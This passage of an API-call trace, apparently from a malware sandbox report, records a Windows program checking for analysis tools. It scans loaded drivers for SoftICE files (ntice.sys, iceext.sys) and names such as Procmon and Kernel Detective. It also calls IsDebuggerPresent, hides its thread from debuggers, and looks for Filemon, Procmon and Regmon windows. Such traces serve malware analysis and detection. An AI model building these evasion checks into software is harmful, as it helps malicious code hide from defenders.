lpString2="crashdmp.sys") returned 1 [0023.123] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpata.sys") returned 1 [0023.124] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_msahci.sys") returned 1 [0023.124] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0023.124] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0023.125] lstrcmpiA (lpString1="ntice.sys", lpString2="Dxapi.sys") returned 1 [0023.125] lstrcmpiA (lpString1="ntice.sys", lpString2="dxg.sys") returned 1 [0023.125] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0023.126] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0023.126] lstrcmpiA (lpString1="ntice.sys", lpString2="framebuf.dll") returned 1 [0023.126] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0023.127] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0023.127] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0023.127] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0023.128] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0023.128] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0023.128] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0023.128] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0023.129] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0023.129] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0023.129] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0023.129] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0023.130] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0023.130] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0023.130] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0023.130] lstrcmpiA (lpString1="ntice.sys", lpString2="peauth.sys") returned -1 [0023.131] lstrcmpiA (lpString1="ntice.sys", lpString2="secdrv.SYS") returned -1 [0023.131] lstrcmpiA (lpString1="ntice.sys", lpString2="srvnet.sys") returned -1 [0023.131] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpipreg.sys") returned -1 [0023.131] lstrcmpiA (lpString1="ntice.sys", lpString2="srv2.sys") returned -1 [0023.132] lstrcmpiA (lpString1="ntice.sys", lpString2="srv.sys") returned -1 [0023.132] lstrcmpiA (lpString1="ntice.sys", lpString2="E1G6032E.sys") returned 1 [0023.132] lstrcmpiA (lpString1="ntice.sys", lpString2="ntdll.dll") returned 1 [0023.132] lstrcmpiA (lpString1="ntice.sys", lpString2="smss.exe") returned -1 [0023.132] lstrcmpiA (lpString1="ntice.sys", lpString2="apisetschema.dll") returned 1 [0023.134] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0023.134] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77a40000 [0023.134] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77a5fda0 [0023.134] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x250000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x250000, ResultLength=0x0) returned 0x0 [0023.134] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0023.135] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0023.135] lstrcmpiA (lpString1="iceext.sys", lpString2="kdcom.dll") returned -1 [0023.135] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0023.136] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0023.136] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0023.136] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0023.136] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0023.137] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0023.137] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0023.137] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0023.137] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0023.138] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0023.138] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0023.138] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0023.138] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0023.139] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0023.139] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0023.139] lstrcmpiA (lpString1="iceext.sys", lpString2="atapi.sys") returned 1 [0023.139] lstrcmpiA (lpString1="iceext.sys", lpString2="ataport.SYS") returned 1 [0023.140] lstrcmpiA (lpString1="iceext.sys", lpString2="msahci.sys") returned -1 [0023.140] lstrcmpiA (lpString1="iceext.sys", lpString2="PCIIDEX.SYS") returned -1 [0023.140] lstrcmpiA (lpString1="iceext.sys", lpString2="amdxata.sys") returned 1 [0023.141] lstrcmpiA (lpString1="iceext.sys", lpString2="fltmgr.sys") returned 1 [0023.141] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0023.141] lstrcmpiA (lpString1="iceext.sys", lpString2="Ntfs.sys") returned -1 [0023.141] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0023.142] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0023.142] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0023.142] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0023.142] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0023.143] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0023.143] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0023.143] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0023.143] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0023.144] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0023.144] lstrcmpiA (lpString1="iceext.sys", lpString2="vmstorfl.sys") returned -1 [0023.144] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0023.144] lstrcmpiA (lpString1="iceext.sys", lpString2="spldr.sys") returned -1 [0023.145] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0023.145] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0023.145] lstrcmpiA (lpString1="iceext.sys", lpString2="hwpolicy.sys") returned 1 [0023.145] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0023.146] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0023.146] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0023.146] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0023.146] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0023.147] lstrcmpiA (lpString1="iceext.sys", lpString2="vga.sys") returned -1 [0023.147] lstrcmpiA (lpString1="iceext.sys", lpString2="VIDEOPRT.SYS") returned -1 [0023.147] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0023.147] lstrcmpiA (lpString1="iceext.sys", lpString2="RDPCDD.sys") returned -1 [0023.148] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpencdd.sys") returned -1 [0023.148] lstrcmpiA (lpString1="iceext.sys", lpString2="rdprefmp.sys") returned -1 [0023.148] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0023.148] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0023.149] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0023.149] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0023.149] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0023.149] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0023.150] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwf.sys") returned -1 [0023.150] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0023.150] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0023.150] lstrcmpiA (lpString1="iceext.sys", lpString2="wanarp.sys") returned -1 [0023.151] lstrcmpiA (lpString1="iceext.sys", lpString2="termdd.sys") returned -1 [0023.151] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0023.152] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0023.152] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0023.152] lstrcmpiA (lpString1="iceext.sys", lpString2="discache.sys") returned 1 [0023.152] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0023.153] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0023.153] lstrcmpiA (lpString1="iceext.sys", lpString2="blbdrive.sys") returned 1 [0023.153] lstrcmpiA (lpString1="iceext.sys", lpString2="tunnel.sys") returned -1 [0023.153] lstrcmpiA (lpString1="iceext.sys", lpString2="vgapnp.sys") returned -1 [0023.154] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0023.154] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0023.154] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0023.154] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0023.155] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0023.155] lstrcmpiA (lpString1="iceext.sys", lpString2="AgileVpn.sys") returned 1 [0023.155] lstrcmpiA (lpString1="iceext.sys", lpString2="rasl2tp.sys") returned -1 [0023.155] lstrcmpiA (lpString1="iceext.sys", lpString2="ndistapi.sys") returned -1 [0023.156] lstrcmpiA (lpString1="iceext.sys", lpString2="ndiswan.sys") returned -1 [0023.156] lstrcmpiA (lpString1="iceext.sys", lpString2="raspppoe.sys") returned -1 [0023.156] lstrcmpiA (lpString1="iceext.sys", lpString2="raspptp.sys") returned -1 [0023.157] lstrcmpiA (lpString1="iceext.sys", lpString2="rassstp.sys") returned -1 [0023.157] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0023.157] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1 [0023.157] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1 [0023.158] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0023.158] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0023.158] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0023.158] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0023.159] lstrcmpiA (lpString1="iceext.sys", lpString2="NDProxy.SYS") returned -1 [0023.159] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0023.159] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0023.159] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0023.160] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0023.160] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0023.160] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpata.sys") returned 1 [0023.160] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_msahci.sys") returned 1 [0023.161] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1 [0023.161] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1 [0023.161] lstrcmpiA (lpString1="iceext.sys", lpString2="Dxapi.sys") returned 1 [0023.161] lstrcmpiA (lpString1="iceext.sys", lpString2="dxg.sys") returned 1 [0023.162] lstrcmpiA (lpString1="iceext.sys", lpString2="monitor.sys") returned -1 [0023.162] lstrcmpiA (lpString1="iceext.sys", lpString2="TSDDD.dll") returned -1 [0023.162] lstrcmpiA (lpString1="iceext.sys", lpString2="framebuf.dll") returned 1 [0023.162] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0023.163] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1 [0023.163] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1 [0023.163] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0023.164] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1 [0023.164] lstrcmpiA (lpString1="iceext.sys", lpString2="luafv.sys") returned -1 [0023.164] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1 [0023.164] lstrcmpiA (lpString1="iceext.sys", lpString2="lltdio.sys") returned -1 [0023.165] lstrcmpiA (lpString1="iceext.sys", lpString2="rspndr.sys") returned -1 [0023.165] lstrcmpiA (lpString1="iceext.sys", lpString2="HTTP.sys") returned 1 [0023.342] IsDebuggerPresent () returned 0 [0023.342] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0023.344] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0023.344] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0023.344] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0023.344] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0023.344] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0023.344] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77a40000 [0023.344] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77a5fda0 [0023.344] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x250000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x250000, ResultLength=0x0) returned 0x0 [0023.419] FindWindowA (lpClassName="RegmonClass", lpWindowName=0x0) returned 0x0 [0023.419] FindWindowA (lpClassName=0x0, lpWindowName="Registry Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0023.419] FindWindowA (lpClassName="18467-41", lpWindowName=0x0) returned 0x0 [0023.419] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0023.420] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77a40000 [0023.420] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77a5fda0 [0023.420] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x250000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x250000, ResultLength=0x0) returned 0x0 [0023.567] lstrcmpiA (lpString1="PROCMON", lpString2="Dxapi.s") returned 1 [0023.568] lstrcmpiA (lpString1="PROCMON", lpString2="dxg.sys") returned 1 [0023.568] lstrcmpiA (lpString1="PROCMON", lpString2="monitor") returned 1 [0023.568] lstrcmpiA (lpString1="PROCMON", lpString2="TSDDD.d") returned -1 [0023.568] lstrcmpiA (lpString1="PROCMON", lpString2="framebu") returned 1 [0023.569] lstrcmpiA (lpString1="PROCMON", lpString2="hidusb.") returned 1 [0023.569] lstrcmpiA (lpString1="PROCMON", lpString2="HIDCLAS") returned 1 [0023.569] lstrcmpiA (lpString1="PROCMON", lpString2="HIDPARS") returned 1 [0023.569] lstrcmpiA (lpString1="PROCMON", lpString2="USBD.SY") returned -1 [0023.570] lstrcmpiA (lpString1="PROCMON", lpString2="kbdhid.") returned 1 [0023.570] lstrcmpiA (lpString1="PROCMON", lpString2="luafv.s") returned 1 [0023.570] lstrcmpiA (lpString1="PROCMON", lpString2="mouhid.") returned 1 [0023.571] lstrcmpiA (lpString1="PROCMON", lpString2="lltdio.") returned 1 [0023.571] lstrcmpiA (lpString1="PROCMON", lpString2="rspndr.") returned -1 [0023.571] lstrcmpiA (lpString1="PROCMON", lpString2="HTTP.sy") returned 1 [0023.571] lstrcmpiA (lpString1="PROCMON", lpString2="bowser.") returned 1 [0023.572] lstrcmpiA (lpString1="PROCMON", lpString2="mpsdrv.") returned 1 [0023.572] lstrcmpiA (lpString1="PROCMON", lpString2="mrxsmb.") returned 1 [0023.573] lstrcmpiA (lpString1="PROCMON", lpString2="mrxsmb1") returned 1 [0023.573] lstrcmpiA (lpString1="PROCMON", lpString2="mrxsmb2") returned 1 [0023.573] lstrcmpiA (lpString1="PROCMON", lpString2="peauth.") returned 1 [0023.573] lstrcmpiA (lpString1="PROCMON", lpString2="secdrv.") returned -1 [0023.574] lstrcmpiA (lpString1="PROCMON", lpString2="srvnet.") returned -1 [0023.574] lstrcmpiA (lpString1="PROCMON", lpString2="tcpipre") returned -1 [0023.574] lstrcmpiA (lpString1="PROCMON", lpString2="srv2.sy") returned -1 [0023.574] lstrcmpiA (lpString1="PROCMON", lpString2="srv.sys") returned -1 [0023.575] lstrcmpiA (lpString1="PROCMON", lpString2="E1G6032") returned 1 [0023.575] lstrcmpiA (lpString1="PROCMON", lpString2="ntdll.d") returned 1 [0023.575] lstrcmpiA (lpString1="PROCMON", lpString2="smss.ex") returned -1 [0023.575] lstrcmpiA (lpString1="PROCMON", lpString2="apisets") returned 1 [0023.576] lstrcmpiA (lpString1="Kernel Detective", lpString2="ntoskrnl.exe") returned -1 [0023.577] lstrcmpiA (lpString1="Kernel Detective", lpString2="hal.dll") returned 1 [0023.577] lstrcmpiA (lpString1="Kernel Detective", lpString2="kdcom.dll") returned 1 [0023.577] lstrcmpiA (lpString1="Kernel Detective", lpString2="mcupdate_Genuine") returned -1 [0023.577] lstrcmpiA (lpString1="Kernel Detective", lpString2="PSHED.dll") returned -1 [0023.577] lstrcmpiA (lpString1="Kernel Detective", lpString2="CLFS.SYS") returned 1 [0023.578] lstrcmpiA (lpString1="Kernel Detective", lpString2="CI.dll") returned 1 [0023.578] lstrcmpiA (lpString1="Kernel Detective", lpString2="Wdf01000.sys") returned -1 [0023.578] lstrcmpiA (lpString1="Kernel Detective", lpString2="WDFLDR.SYS") returned -1 [0023.578] lstrcmpiA (lpString1="Kernel Detective", lpString2="ACPI.sys") returned 1 [0023.579] lstrcmpiA (lpString1="Kernel Detective", lpString2="WMILIB.SYS") returned -1 [0023.579] lstrcmpiA (lpString1="Kernel Detective", lpString2="msisadrv.sys") returned -1 [0023.579] lstrcmpiA (lpString1="Kernel Detective", lpString2="pci.sys") returned -1 [0023.579] lstrcmpiA (lpString1="Kernel Detective", lpString2="vdrvroot.sys") returned -1 [0023.580] lstrcmpiA (lpString1="Kernel Detective", lpString2="partmgr.sys") returned -1 [0023.580] lstrcmpiA (lpString1="Kernel Detective", lpString2="volmgr.sys") returned -1 [0023.580] lstrcmpiA (lpString1="Kernel Detective", lpString2="volmgrx.sys") returned -1 [0023.580] lstrcmpiA (lpString1="Kernel Detective", lpString2="mountmgr.sys") returned -1 [0023.581] lstrcmpiA (lpString1="Kernel Detective", lpString2="atapi.sys") returned 1 [0023.581] lstrcmpiA (lpString1="Kernel Detective", lpString2="ataport.SYS") returned 1 [0023.581] lstrcmpiA (lpString1="Kernel Detective", lpString2="msahci.sys") returned -1 [0023.581] lstrcmpiA (lpString1="Kernel Detective", lpString2="PCIIDEX.SYS") returned -1 [0023.582] lstrcmpiA (lpString1="Kernel Detective", lpString2="amdxata.sys") returned 1 [0023.582] lstrcmpiA (lpString1="Kernel Detective", lpString2="fltmgr.sys") returned 1 [0023.583] lstrcmpiA (lpString1="Kernel Detective", lpString2="fileinfo.sys") returned 1 [0023.583] lstrcmpiA (lpString1="Kernel Detective", lpString2="Ntfs.sys") returned -1 [0023.583] lstrcmpiA (lpString1="Kernel Detective", lpString2="msrpc.sys") returned -1 [0023.584] lstrcmpiA (lpString1="Kernel Detective", lpString2="ksecdd.sys") returned -1 [0023.584] lstrcmpiA (lpString1="Kernel Detective", lpString2="cng.sys") returned 1 [0023.584] lstrcmpiA (lpString1="Kernel Detective", lpString2="pcw.sys") returned -1 [0023.585] lstrcmpiA (lpString1="Kernel Detective", lpString2="Fs_Rec.sys") returned 1 [0023.585] lstrcmpiA (lpString1="Kernel Detective", lpString2="ndis.sys") returned -1 [0023.585] lstrcmpiA (lpString1="Kernel Detective", lpString2="NETIO.SYS") returned -1 [0023.585] lstrcmpiA (lpString1="Kernel Detective", lpString2="ksecpkg.sys") returned -1 [0023.586] lstrcmpiA (lpString1="Kernel Detective", lpString2="tcpip.sys") returned -1 [0023.586] lstrcmpiA (lpString1="Kernel Detective", lpString2="fwpkclnt.sys") returned 1 [0023.586] lstrcmpiA (lpString1="Kernel Detective", lpString2="vmstorfl.sys") returned -1 [0023.586] lstrcmpiA (lpString1="Kernel Detective", lpString2="volsnap.sys") returned -1 [0023.587] lstrcmpiA (lpString1="Kernel Detective", lpString2="spldr.sys") returned -1 [0023.587] lstrcmpiA (lpString1="Kernel Detective", lpString2="rdyboost.sys") returned -1 [0023.587] lstrcmpiA (lpString1="Kernel Detective", lpString2="mup.sys") returned -1 [0023.587] lstrcmpiA (lpString1="Kernel Detective", lpString2="hwpolicy.sys") returned 1 [0023.588] lstrcmpiA (lpString1="Kernel Detective", lpString2="fvevol.sys") returned 1 [0023.588] lstrcmpiA (lpString1="Kernel Detective", lpString2="disk.sys") returned 1 [0023.588] lstrcmpiA (lpString1="Kernel Detective", lpString2="CLASSPNP.SYS") returned 1 [0023.589] lstrcmpiA (lpString1="Kernel Detective", lpString2="Null.SYS") returned -1 [0023.589] lstrcmpiA (lpString1="Kernel Detective", lpString2="Beep.SYS") returned 1 [0023.589] lstrcmpiA (lpString1="Kernel Detective", lpString2="vga.sys") returned -1 [0023.589] lstrcmpiA (lpString1="Kernel Detective", lpString2="VIDEOPRT.SYS") returned -1 [0023.590] lstrcmpiA (lpString1="Kernel Detective", lpString2="watchdog.sys") returned -1 [0023.590] lstrcmpiA (lpString1="Kernel Detective", lpString2="RDPCDD.sys") returned -1 [0023.590] lstrcmpiA (lpString1="Kernel Detective", lpString2="rdpencdd.sys") returned -1 [0023.591] lstrcmpiA (lpString1="Kernel Detective", lpString2="rdprefmp.sys") returned -1 [0023.591] lstrcmpiA (lpString1="Kernel Detective", lpString2="Msfs.SYS") returned -1 [0023.591] lstrcmpiA (lpString1="Kernel Detective", lpString2="Npfs.SYS") returned -1 [0023.591] lstrcmpiA (lpString1="Kernel Detective", lpString2="tdx.sys") returned -1 [0023.592] lstrcmpiA (lpString1="Kernel Detective", lpString2="TDI.SYS") returned -1 [0023.592] lstrcmpiA (lpString1="Kernel Detective", lpString2="afd.sys") returned 1 [0023.592] lstrcmpiA (lpString1="Kernel Detective", lpString2="netbt.sys") returned -1 [0023.592] lstrcmpiA (lpString1="Kernel Detective", lpString2="wfplwf.sys") returned -1 [0023.593] lstrcmpiA (lpString1="Kernel Detective", lpString2="pacer.sys") returned -1 [0023.593] lstrcmpiA (lpString1="Kernel Detective", lpString2="netbios.sys") returned -1 [0023.593] lstrcmpiA (lpString1="Kernel Detective", lpString2="wanarp.sys") returned -1 [0023.593] lstrcmpiA (lpString1="Kernel Detective", lpString2="termdd.sys") returned -1 [0023.594] lstrcmpiA (lpString1="Kernel Detective", lpString2="rdbss.sys") returned -1 [0023.594] lstrcmpiA (lpString1="Kernel Detective", lpString2="nsiproxy.sys") returned -1 [0023.594] lstrcmpiA (lpString1="Kernel Detective", lpString2="mssmbios.sys") returned -1 [0023.594] lstrcmpiA (lpString1="Kernel Detective", lpString2="discache.sys") returned 1 [0023.595] lstrcmpiA (lpString1="Kernel Detective", lpString2="csc.sys") returned 1 [0023.595] lstrcmpiA (lpString1="Kernel Detective", lpString2="dfsc.sys") returned 1 [0023.595] lstrcmpiA (lpString1="Kernel Detective", lpString2="blbdrive.sys") returned 1 [0023.595] lstrcmpiA (lpString1="Kernel Detective", lpString2="tunnel.sys") returned -1 [0023.596] lstrcmpiA (lpString1="Kernel Detective", lpString2="vgapnp.sys") returned -1 [0023.596] lstrcmpiA (lpString1="Kernel Detective", lpString2="HDAudBus.sys") returned 1 [0023.596] lstrcmpiA (lpString1="Kernel Detective", lpString2="usbehci.sys") returned -1 [0023.596] lstrcmpiA (lpString1="Kernel Detective", lpString2="USBPORT.SYS") returned -1 [0023.597] lstrcmpiA (lpString1="Kernel Detective", lpString2="intelppm.sys") returned 1 [0023.597] lstrcmpiA (lpString1="Kernel Detective", lpString2="CompositeBus.sys") returned 1 [0023.597] lstrcmpiA (lpString1="Kernel Detective", lpString2="AgileVpn.sys") returned 1 [0023.597] lstrcmpiA (lpString1="Kernel Detective", lpString2="rasl2tp.sys") returned -1 [0023.598] lstrcmpiA (lpString1="Kernel Detective", lpString2="ndistapi.sys") returned -1 [0023.598] lstrcmpiA (lpString1="Kernel Detective", lpString2="ndiswan.sys") returned -1 [0023.598] lstrcmpiA (lpString1="Kernel Detective", lpString2="raspppoe.sys") returned -1 [0023.598] lstrcmpiA (lpString1="Kernel Detective", lpString2="raspptp.sys") returned -1 [0023.599] lstrcmpiA (lpString1="Kernel Detective", lpString2="rassstp.sys") returned -1 [0023.599] lstrcmpiA (lpString1="Kernel Detective", lpString2="rdpbus.sys") returned -1 [0023.599] lstrcmpiA (lpString1="Kernel Detective", lpString2="kbdclass.sys") returned 1 [0023.600] lstrcmpiA (lpString1="Kernel Detective", lpString2="mouclass.sys") returned -1 [0023.600] lstrcmpiA (lpString1="Kernel Detective", lpString2="swenum.sys") returned -1 [0023.600] lstrcmpiA (lpString1="Kernel Detective", lpString2="ks.sys") returned -1 [0023.600] lstrcmpiA (lpString1="Kernel Detective", lpString2="umbus.sys") returned -1 [0023.601] lstrcmpiA (lpString1="Kernel Detective", lpString2="usbhub.sys") returned -1 [0023.601] lstrcmpiA (lpString1="Kernel Detective", lpString2="NDProxy.SYS") returned -1 [0023.601] lstrcmpiA (lpString1="Kernel Detective", lpString2="HdAudio.sys") returned 1 [0023.601] lstrcmpiA (lpString1="Kernel Detective", lpString2="portcls.sys") returned -1 [0023.602] lstrcmpiA (lpString1="Kernel Detective", lpString2="drmk.sys") returned 1 [0023.602] lstrcmpiA (lpString1="Kernel Detective", lpString2="ksthunk.sys") returned -1 [0023.602] lstrcmpiA (lpString1="Kernel Detective", lpString2="crashdmp.sys") returned 1 [0023.602] lstrcmpiA (lpString1="Kernel Detective", lpString2="dump_dumpata.sys") returned 1 [0023.603] lstrcmpiA (lpString1="Kernel Detective", lpString2="dump_msahci.sys") returned 1 [0023.603] lstrcmpiA (lpString1="Kernel Detective", lpString2="dump_dumpfve.sys") returned 1 [0023.604] lstrcmpiA (lpString1="Kernel Detective", lpString2="win32k.sys") returned -1 [0023.604] lstrcmpiA (lpString1="Kernel Detective", lpString2="Dxapi.sys") returned 1 [0023.604] lstrcmpiA (lpString1="Kernel Detective", lpString2="dxg.sys") returned 1 [0023.604] lstrcmpiA (lpString1="Kernel Detective", lpString2="monitor.sys") returned -1 [0023.604] lstrcmpiA (lpString1="Kernel Detective", lpString2="TSDDD.dll") returned -1 [0023.605] lstrcmpiA (lpString1="Kernel Detective", lpString2="framebuf.dll") returned 1 [0023.605] lstrcmpiA (lpString1="Kernel Detective", lpString2="hidusb.sys") returned 1 [0023.605] lstrcmpiA (lpString1="Kernel Detective", lpString2="HIDCLASS.SYS") returned 1 [0023.605] lstrcmpiA (lpString1="Kernel Detective", lpString2="HIDPARSE.SYS") returned 1 [0023.606] lstrcmpiA (lpString1="Kernel Detective", lpString2="USBD.SYS") returned -1 [0023.606] lstrcmpiA (lpString1="Kernel Detective", lpString2="kbdhid.sys") returned 1 [0023.606] lstrcmpiA (lpString1="Kernel Detective", lpString2="luafv.sys") returned -1 [0023.606] lstrcmpiA (lpString1="Kernel Detective", lpString2="mouhid.sys") returned -1 [0023.607] lstrcmpiA (lpString1="Kernel Detective", lpString2="lltdio.sys") returned -1 [0023.607] lstrcmpiA (lpString1="Kernel Detective", lpString2="rspndr.sys") returned -1 [0023.607] lstrcmpiA (lpString1="Kernel Detective", lpString2="HTTP.sys") returned 1 [0023.608] lstrcmpiA (lpString1="Kernel Detective", lpString2="bowser.sys") returned 1 [0023.608] lstrcmpiA (lpString1="Kernel Detective", lpString2="mpsdrv.sys") returned -1 [0023.608] lstrcmpiA (lpString1="Kernel Detective", lpString2="mrxsmb.sys") returned 